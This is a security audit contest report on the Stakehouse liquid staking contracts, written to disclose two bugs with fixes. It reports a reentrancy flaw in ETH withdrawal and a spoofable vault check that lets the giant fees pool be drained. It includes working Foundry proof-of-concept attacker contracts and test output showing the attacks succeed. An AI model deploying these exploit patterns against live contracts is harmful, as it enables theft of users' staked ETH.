LSD Network - Stakehouse contest - bitbopper's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/LiquidStakingManager.sol#L326-L350

Vulnerability details

Impact

NodeRunners are required to stake 4 ETH per knot to the LiquidStakingManager in order to qualify as a noderunner.

Before the node runners staked eth gets pooled and goes to the LSDNetwork, noderunners can withdraw their 4 ETH for a given Knot; after which their Knot public key gets banned.

This bug allows Noderunners to withdraw 4 ETH per one knot multiple times before they get banned because of reentrancy. Effectively they can withdraw the 4 ETH for another knot that they registered for.

As for the severity, I can make a case for all three categories, please dear jude, decide (:

• Since the Smartwallet in current implementation does not seem to be used for anything else, and the small wallet still holds only the ETH of the (potentially) mailicious noderunner, this might be just a QA bug.
• On the other hand it might cause people to stake in the vaults, and then finding out that they afterwards can't proceed with the "final" staking (as their eth and that of the noderunner creates an eth node), leaving them with derivatives that are less liquid (as in they loose value=high). Or maybe the smart wallet is used for something else in the future ...
• In any case code reading NewLSDValidatorRegistered events and causing actors to call stake will find a function of the code impacted (=mid).

Proof of Concept

Below a forge test that registers 3 public keys for 3 knots with 12 eth and only invalidates one public key to withdraw all the eth (when it should only be 4 eth).

Add to LSDNFactoryTest in test/foundry/LSDNFactory.t.sol

    function testNodeRunnerMultipleWithdrawalForOnePubkey() public {

        address house = address(new StakeHouseRegistry());

        // setup attacker
        Attacker att = new Attacker(manager, blsPubKeyOne);
        address nodeRunner = address(att);

        uint256 nodeStakeAmount = 12 ether;
        vm.deal(nodeRunner, nodeStakeAmount);

        address eoaRepresentative = accountTwo;

        MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 0);

        vm.prank(nodeRunner);
        manager.registerBLSPublicKeys{value: nodeStakeAmount}(
            getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree),
            getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree),
            eoaRepresentative
        );

        MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 1);
        manager.setIsPartOfNetwork(blsPubKeyOne, true);

        address nodeRunnerSmartWallet = manager.smartWalletOfNodeRunner(nodeRunner);
        assertEq(nodeRunnerSmartWallet.balance, 12 ether);

        vm.prank(nodeRunner);
        manager.withdrawETHForKnot(nodeRunner, blsPubKeyOne);

        // assertions prove that attack worked, invert for real tests ...
        assertEq(nodeRunnerSmartWallet.balance, 0 ether); // smart wallet has no ether left
        assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyTwo)); // pubKey2 not banned
        assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyThree)); // pubKey3 not banned
        emit log_named_string("attack", nodeRunnerSmartWallet.balance == 0 ? "worked" : "failed");
        emit log_named_uint("attacker balance", address(nodeRunner).balance);

    }

Append following to test/foundry/LSDNFactory.t.sol

contract Attacker is TestUtils {
    MockLiquidStakingManager mgr;
    bytes pubKey; 
    uint counter = 0;

    constructor(MockLiquidStakingManager _manager, bytes memory _pubKey) {
        mgr = _manager;
        pubKey = _pubKey;
    }
    // function that would "registerBLSPublicKeys" is left to readers imagination

    // receive call from smart wallets raw execute
    fallback() external payable {
        counter += 1;
        if (counter <= 2) 
            mgr.withdrawETHForKnot(address(this), pubKey);
    }
}

Output

Please note: that as an attacker I wanted the test to pass. Maybe the protocol devs want to invert that ;).

yarn test -m testNodeRunnerMultipleWithdrawalForOnePubkey -v
yarn run v1.22.19
$ forge test -vv -m testNodeRunnerMultipleWithdrawalForOnePubkey -v
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/foundry/LSDNFactory.t.sol:LSDNFactoryTest
[PASS] testNodeRunnerMultipleWithdrawalForOnePubkey() (gas: 38507247)
Logs:
  attack: worked
  balance: 12000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 17.22ms

Tools Used

Foundry

Recommended Mitigation Steps

Ban the public key before calling the smart wallet. In other words, exchange L347 and L338.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L28-L53

Vulnerability details

Impact

Function batchDepositETHForStaking of GiantMevAndFeesPool sends ETH to attacker controlled contract.

Above function intends to send out the ETH amounts defined in _ETHTransactionAmounts variable only to "verified" contracts defined in _stakingFundsVault variable. The verification in https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L43-L46 however is faulty.

Attackers can pass the verification by creating a "fake" staking contract that returns the same address that a valid contract would return for a call to liquidStakingNetworkManager(). The subsequent query to isLiquidStakingManager will provide the same answer for attacker controlled contracts as for valid staking vaults thereby allowing to send out all the ETH avaiable to the GiantMevAndFeesPool in the call in https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48-L53.

This can be used to drain all the ETH of GiantMevAndFeesPool.

Proof of Concept

Add following to GiantPoolTests in /tmp/2022-11-stakehouse-main/test/foundry/GiantPools.t.sol.

    function testAttackerControlledStakingMEVVault() public {
        // Set up users and ETH
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        // Register BLS key
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        // Deposit ETH into giant fees and mev
        vm.startPrank(feesAndMevUserOne);
        //manager.stakingFundsVault().depositETHForStaking{value: 4 ether}(blsPubKeyOne, 4 ether);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();

        // Deploy ETH from giant LP into savETH pool of LSDN instance
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);

        // create attacker
        ILiquidStakingManager answerToFake = manager.stakingFundsVault().liquidStakingNetworkManager();
        AttackerMEVPool att = new AttackerMEVPool(answerToFake);
        emit log_named_address("addr", address(att));
        emit log_named_address("addr", address(att.liquidStakingNetworkManager()));

        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(att)),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );

		emit log_named_uint("balance of attacker", address(att).balance);
        assertEq(address(att).balance, 0 ether);
    }

Ensure following definitions are available to GiantPoolTests (add to .sol file).

interface RealStakingMEV {
    function liquidStakingNetworkManager() external returns (address);
}

contract AttackerMEVPool is TestUtils {
    ILiquidStakingManager public liquidStakingNetworkManager;
    constructor(ILiquidStakingManager _realStakingAnswer) {
        liquidStakingNetworkManager = _realStakingAnswer;
    }

    fallback() external payable {}
}

Output of tests

yarn test -m testAttackerControlledStakingMEVVault
yarn run v1.22.19
warning package.json: No license field
$ forge test -vv -m testAttackerControlledStakingMEVVault
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[FAIL. Reason: Undefined.] testAttackerControlledStakingMEVVault() (gas: 38148228)
Logs:
  addr: 0xefc56627233b02ea95bae7e19f648d7dcd5bb132
  addr: 0x1069b7f603bfee9c76e2b4761a74e52c8b2bb8f1
  balance of attacker: 4000000000000000000
  Error: a == b not satisfied [uint]
    Expected: 0
      Actual: 4000000000000000000

Test result: FAILED. 0 passed; 1 failed; finished in 15.95ms

Failing tests:
Encountered 1 failing test in test/foundry/GiantPools.t.sol:GiantPoolTests
[FAIL. Reason: Undefined.] testAttackerControlledStakingMEVVault() (gas: 38148228)

Encountered a total of 1 failing tests, 0 tests succeeded
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.

Tools Used

Foundry

Recommended Mitigation Steps

Register staking pools pools with the liquidStakingDerivativeFactory. This way one could check the staking pool address that is supplied to batchDepositETHForStaking and not an answer the pool gives (and could fake).

note to judge

I submitted a very similar vuln for GiantSavETHVaultPool. Not sure how you want to count this. In any case the foundry tests are different and might be useful to the project. :)